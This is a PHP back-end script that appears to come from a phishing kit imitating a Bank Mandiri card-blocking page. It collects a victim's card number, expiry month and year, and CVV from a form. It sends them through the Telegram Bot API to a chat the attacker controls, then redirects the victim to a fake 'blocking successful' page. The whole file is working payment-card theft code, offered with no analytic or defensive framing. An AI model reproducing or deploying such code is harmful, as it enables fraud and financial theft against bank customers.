<?php
include "telegram.php";
session_start();
$nokartu = $_POST['nokartu'];
$bulan = $_POST['bulan'];
$tahun = $_POST['tahun'];
$cvv = $_POST['cvv'];
$_SESSION['nokartu'] = $nokartu;
$_SESSION['bulan'] = $bulan;
$_SESSION['tahun'] = $tahun;
$_SESSION['cvv'] = $cvv;
$nokartu = $_SESSION['nokartu'];
$masa = $_SESSION['masa'];
$cvv = $_SESSION['cvv'];
$message = "
(Mandiri  Kartu )

- NO kartu : ".$nokartu."

- Bulan Berlaku : ".$bulan."

- Tahun Berlaku : ".$tahun."

- CVV : ".$cvv."


 ";
function sendMessage($id_telegram, $message, $id_botTele) {
    $url = "https://api.telegram.org/bot" . $id_botTele . "/sendMessage?parse_mode=markdown&chat_id=" . $id_telegram;
    $url = $url . "&text=" . urlencode($message);
    $ch = curl_init();
    $optArray = array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true);
    curl_setopt_array($ch, $optArray);
    $result = curl_exec($ch);
    curl_close($ch);
}
sendMessage($id_telegram, $message, $id_botTele);
header('Location: ../blokir-kartu/pemblokiran-berhasil.html');
?>
